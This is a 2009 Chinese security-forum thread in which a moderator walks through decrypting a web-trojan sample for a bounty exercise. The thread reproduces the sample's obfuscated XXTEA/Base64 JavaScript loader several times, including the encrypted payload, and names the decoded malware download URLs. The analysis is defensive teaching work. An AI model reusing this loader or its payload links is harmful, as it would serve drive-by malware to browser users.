网马解密悬赏第十九期简要分析 - 瑞星卡卡安全论坛bbs.ikaka.com

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[教程] 网马解密悬赏第十九期简要分析

本主题由版主 networkedition 于 2009-7-20 12:53:54 执行设置高亮操作

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2009-07-20 11:07 \| 只看楼主短消息资料字号：小中大 1楼网马解密悬赏第十九期简要分析解密链接地址如下：http://etc.sjtu.edu.cn/kctft_files/ad_files/reg_files/dog_files/new04_files/test.htm 在这里直接使用redoce工具获取源文件，由于源文件中有终止符，freshow无法获取完整源代码，以下为redoce获取到源文件代码，并通过右键去除非键盘字符——全部去除，整理后代码。 [复制到剪贴板] CODE: ?!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0038)http://xxx.749571.com/webtest/test.htm --><HTML><HEAD><META http-equiv=Content-Type content="text/html; charset=unicode"><SCRIPT language=javascript>function utf8to16(R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2=[];iotioOK4=R$ivKH1["\x6c\x65\x6e\x67\x74\x68"];wobt3=0;while(wobt3<iotioOK4){igQHmIp5=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);switch(igQHmIp5>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=R$ivKH1["\x63\x68\x61\x72\x41\x74"](wobt3-1);break;case 12:case 13:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x1F)<<6)\|(JFtK6&0x3F));break;case 14:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);u_QoGg7=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x0F)<<12)\|((JFtK6&0x3F)<<6)\|((u_QoGg7&0x3F)<<0));break;}}return o$SZhbz2["\x6a\x6f\x69\x6e"]('');}var C8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);function base64decode(zBYah9){var A10,Ha$11,cEyRFE12,MR13;var Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["\x6c\x65\x6e\x67\x74\x68"];Yc_rdY14=0;DQKBbVA16 = "";while(Yc_rdY14<MSFPC15){do{A10=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1)break;do{Ha$11=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((A10<<2)\|((Ha$11&0x30)>>4));do{cEyRFE12=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(cEyRFE12==61)return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==-1);if(cEyRFE12==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((Ha$11&0XF)<<4)\|((cEyRFE12&0x3C)>>2));do{MR13=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(MR13==61)return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((cEyRFE12&0x03)<<6)\|MR13)}return DQKBbVA16}function long2str(v,MK17){var FZbXPws18=v["\x6c\x65\x6e\x67\x74\x68"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var B$20=0;B$20<FZbXPws18;B$20++){v[B$20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20]>>>16&0xff,v[B$20]>>>24&0xff);}if(MK17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,CVLZnZrvQ19);}else{return v["\x6a\x6f\x69\x6e"]('');}}function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["\x6c\x65\x6e\x67\x74\x68"];var iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4){iDar24[SU25>>2]=wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25)\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+1)<<8\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+2)<<16\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+3)<<24;}if(JzhtzQ22){iDar24[iDar24["\x6c\x65\x6e\x67\x74\x68"]]=eF_tezE23;}return iDar24;}function xxtea_decrypt(ReSOiIt26,Lh27){if(ReSOiIt26==""){return"";}var c28=str2long(ReSOiIt26,false);var p_29=str2long(Lh27,false);var TLlP30=c28["\x6c\x65\x6e\x67\x74\x68"]-1;var wY31=c28[TLlP30-1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(TLlP30+1)),OTBMbdQa37=V36kFK33&0xffffffff;while(OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38--){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28[vnnTim38]-rtCqYR34&0xffffffff;}wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37-kFK33&0xffffffff;}return long2str(c28,true);}t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNScJCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qjlwd9YOPghfblfLCOkOLUvrJVwjjsvbnmyDdkpKNISF9M+t2heVKtmjzUdsmyndqHrCvd7Bs2h8/gAB2R/3adkLfdeC+ocLSatF0OU5tcvK/ZzW8QjJ4A2TV6qdu5fn5Ix8OvxBfDvrZuTwi/sjuwHL4Fz49G5KdhUjo5dLQH0ybvIM6CoPFLAt1QhGic29DWZA+8Nb8v4kjYTO0dPnM0NW3Vo83tatfrTtmxbHOSngmJ1GwAYgB8LtNOkhF7OPObjj9WM1Erz+1RlInwNz93qBoBqEItL7+gbCgAfAQgH7bQtbh0C8C4rG78kOn4UAcT+1RkrFyTOaNLmHVRy7vwTvNfAb33mQUfWVAsK2jijxPA+6XQfXNVh+J1IBmtbH4dORys+rw1yCYoWnAfqUrUlJZrR4zizOL2TH0r+KJm81q7l3Kzz7WTdgs1d0vv8SR0NHI28ap2d1bzUmDsJfMiglt1f/pgSdFslRHI4GeDL1QL+cTdmTrLgEmje05FRQNX3ju6SSlklXsedV+r/KUj7OYoJr0Ol21nkVNsGAqOouNuIQPbUqduPuNuYycqeWPxsgSlaQRpPdlZvi8LC9vQvGRnUSAObFMO2L8Z5WxK8VO4YenyYHHxgNEjMb++MKLzi2QCtvNgV8G2im2NoZvWg4hLCPgpl4T3smfzjoqJIOdiM5kKby/QPy/faQM0pQQEUYkNigunZNNMcdvSaw/58htoaYBtXHmGVDPECU+r7GKu/pyRuuwGV9XyAkUxrXdVeR/g9fJNtvWZGGr8k6CLnk+njbW4BtAjejll2FEVx7vsVPyY318oPiRvQPlyVQotru5LzfRPY8ysbuQcQqe63l5Ojnrn3LmWhxvTA5oHhv9Y6zKAVUaJOrd6F/AyGgoTOSpPaXhkR7v/Wd7NOD5tOnURkru3Ylul0YIn0pGirTNMJcnD3z6xMfBO9yxSeFxxfhRtzjZQP47Kg==";t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);</SCRIPT><META content="MSHTML 6.00.3790.2954" name=GENERATOR></HEAD><BODY></BODY> 用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)*
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	分享到：

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2009-07-20 11:15 \| 只看楼主短消息资料字号：小中大 2楼回复: 网马解密悬赏第十九期简要分析经过处理过的源代码看起来很乱，不知如何下手，简单分析。 [复制到剪贴板] CODE: t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t); xxtea_decrypt(base64decode(t)：XXTEA+BASE64加密方法一：直接使用在线解密：http://www.du110.com/kittykitty/openlab/jm.htm XXTEA+BASE64解密，来进行解密。将上述代码复制粘贴至在线解密操作区域： base64.jpg (1059.05 K) 2009-7-20 11:15:14 本帖被评分 2 次本帖被评分 2 次
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2009-07-20 11:20 \| 只看楼主短消息资料字号：小中大 3楼回复: 网马解密悬赏第十九期简要分析点击XXTEA+BASE64解密按钮，弹出如下对话框内容： base6401.jpg (804.90 K) 2009-7-20 11:20:08
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2009-07-20 11:29 \| 只看楼主短消息资料字号：小中大 4楼回复: 网马解密悬赏第十九期简要分析上图中红色框中，我们看到有3个js脚本（已失效），有效地址为：http://down.dj7788.cn/bd.cab和http://down.dj7788.cn/bd.exe。方法二：我们还是来分析一下这段代码： [复制到剪贴板] CODE: window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t) 将上述代码esc一下，得到：window["document"]["write"] (t)，实际暗含有个document.write,我们可以使用alert来进行解密，将 window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t)这段代码替换为alert（t），保存为网页形式文件，直接运行即可。 [复制到剪贴板] CODE: ?!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0038) http://xxx.749571.com/webtest/test.htm --><HTML><HEAD><META http-equiv=Content-Type content="text/html; charset=unicode"><SCRIPT language=javascript>function utf8to16 (R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2= [];iotioOK4=R$ivKH1["\x6c\x65\x6e\x67\x74\x68"];wobt3=0;while(wobt3<iotioOK4) {igQHmIp5=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);switch (igQHmIp5>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2 ["\x6c\x65\x6e\x67\x74\x68"]]=R$ivKH1["\x63\x68\x61\x72\x41\x74"](wobt3-1);break;case 12:case 13:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2 [o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72 \x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x1F)<<6)\|(JFtK6&0x3F));break;case 14:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);u_QoGg7=R$ivKH1 ["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67 \x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43 \x6f\x64\x65"](((igQHmIp5&0x0F)<<12)\|((JFtK6&0x3F)<<6)\|((u_QoGg7&0x3F)<<0));break;}}return o$SZhbz2["\x6a\x6f\x69\x6e"]('');}var C8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,- 1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,- 1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,- 1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1, -1,-1);function base64decode(zBYah9){var A10,Ha$11,cEyRFE12,MR13;var Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["\x6c\x65\x6e\x67\x74\x68"];Yc_rdY14=0;DQKBbVA16 = "";while(Yc_rdY14<MSFPC15){do{A10=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"] (Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1)break;do{Ha$11=C8[zBYah9 ["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while (Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69 \x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((A10<<2)\|((Ha$11&0x30) >>4));do{cEyRFE12=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if (cEyRFE12==61)return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==- 1);if(cEyRFE12==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72 \x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((Ha$11&0XF)<<4)\|((cEyRFE12&0x3C)>>2));do {MR13=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(MR13==61) return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1) break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43 \x6f\x64\x65"](((cEyRFE12&0x03)<<6)\|MR13)}return DQKBbVA16}function long2str(v,MK17){var FZbXPws18=v["\x6c\x65\x6e\x67\x74\x68"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var B$20=0;B$20<FZbXPws18;B$20++){v[B$20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72 \x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20] >>>16&0xff,v[B$20]>>>24&0xff);}if(MK17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62 \x73\x74\x72\x69\x6e\x67"](0,CVLZnZrvQ19);}else{return v["\x6a\x6f\x69\x6e"]('');}} function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["\x6c\x65\x6e\x67\x74\x68"];var iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4){iDar24[SU25>>2]=wVH21["\x63\x68\x61\x72 \x43\x6f\x64\x65\x41\x74"](SU25)\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"] (SU25+1)<<8\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+2)<<16\|wVH21["\x63\x68 \x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+3)<<24;}if(JzhtzQ22){iDar24[iDar24["\x6c\x65 \x6e\x67\x74\x68"]]=eF_tezE23;}return iDar24;}function xxtea_decrypt(ReSOiIt26,Lh27){if (ReSOiIt26==""){return"";}var c28=str2long(ReSOiIt26,false);var p_29=str2long (Lh27,false);var TLlP30=c28["\x6c\x65\x6e\x67\x74\x68"]-1;var wY31=c28[TLlP30- 1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["\x4d\x61\x74 \x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(TLlP30+1)),OTBMbdQa37=V36*kFK33&0xffffffff;while (OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38- -){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^ (OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28 [vnnTim38]-rtCqYR34&0xffffffff;}wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+ (SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35] ^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37- kFK33&0xffffffff;}return long2str(c28,true);} t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7 d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8 pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNSc JCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6 sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6 LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qj 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(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));alert(t);</SCRIPT><META content="MSHTML 6.00.3790.2954" name=GENERATOR></HEAD><BODY></BODY></HTML>
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2009-07-20 11:31 \| 只看楼主短消息资料字号：小中大 5楼回复: 网马解密悬赏第十九期简要分析 base6402.jpg (1515.76 K) 2009-7-20 11:31:27 本帖被评分 1 次本帖被评分 1 次
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

QoS 卡卡反病毒小组帖子:530 注册: 2009-06-06 来自:	发表于： 2009-07-20 15:07 \| 短消息资料字号：小中大 6楼回复: 网马解密悬赏第十九期简要分析谢谢，老师放教程再给大家说下，用alert弹出的对话框好像不能复制还得自己打上去！可以在标签的最上放加上 <textarea id="textareaID" rows="50" cols="100"></textarea> 再把window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]替换成document.getElementById("textareaID").innerText= 这用弹出的对话框可以复制，方便下一步解密引用: <textarea id="textareaID" rows="50" cols="100"></textarea> ?!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!-- saved from url=(0038)http://xxx.749571.com/webtest/test.htm --> <HTML><HEAD> <META http-equiv=Content-Type c> <SCRIPT language=javascript> function utf8to16(R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2=[];iotioOK4=R$ivKH1["\x6c\x65\x6e\x67\x74\x68"];wobt3=0;while(wobt3<iotioOK4){igQHmIp5=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);switch(igQHmIp5>>4) {case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=R$ivKH1["\x63\x68\x61\x72\x41\x74"](wobt3-1);break;case 12:case 13:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x1F)<<6)\|(JFtK6&0x3F));break;case 14:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);u_QoGg7=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x0F)<<12)\|((JFtK6&0x3F)<<6)\|((u_QoGg7&0x3F)<<0));break;}} return o$SZhbz2["\x6a\x6f\x69\x6e"]('');} var C8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1); function base64decode(zBYah9) {var A10,Ha$11,cEyRFE12,MR13;var Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["\x6c\x65\x6e\x67\x74\x68"];Yc_rdY14=0;DQKBbVA16 = "";while(Yc_rdY14<MSFPC15) {do {A10=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1) break;do {Ha$11=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1) break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((A10<<2)\|((Ha$11&0x30)>>4));do {cEyRFE12=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(cEyRFE12==61) return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==-1);if(cEyRFE12==-1) break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((Ha$11&0XF)<<4)\|((cEyRFE12&0x3C)>>2));do {MR13=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(MR13==61) return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1) break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((cEyRFE12&0x03)<<6)\|MR13)} return DQKBbVA16} function long2str(v,MK17){var FZbXPws18=v["\x6c\x65\x6e\x67\x74\x68"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var B$20=0;B$20<FZbXPws18;B$20++) {v[B$20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20]>>>16&0xff,v[B$20]>>>24&0xff);} if(MK17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,CVLZnZrvQ19);} else{return v["\x6a\x6f\x69\x6e"]('');}} function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["\x6c\x65\x6e\x67\x74\x68"];var iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4) {iDar24[SU25>>2]=wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25)\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+1)<<8\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+2)<<16\|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+3)<<24;} if(JzhtzQ22){iDar24[iDar24["\x6c\x65\x6e\x67\x74\x68"]]=eF_tezE23;} return iDar24;} function xxtea_decrypt(ReSOiIt26,Lh27){if(ReSOiIt26==""){return"";} var c28=str2long(ReSOiIt26,false);var p_29=str2long(Lh27,false);var TLlP30=c28["\x6c\x65\x6e\x67\x74\x68"]-1;var wY31=c28[TLlP30-1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(TLlP30+1)),OTBMbdQa37=V36kFK33&0xffffffff;while(OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38--){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28[vnnTim38]-rtCqYR34&0xffffffff;} 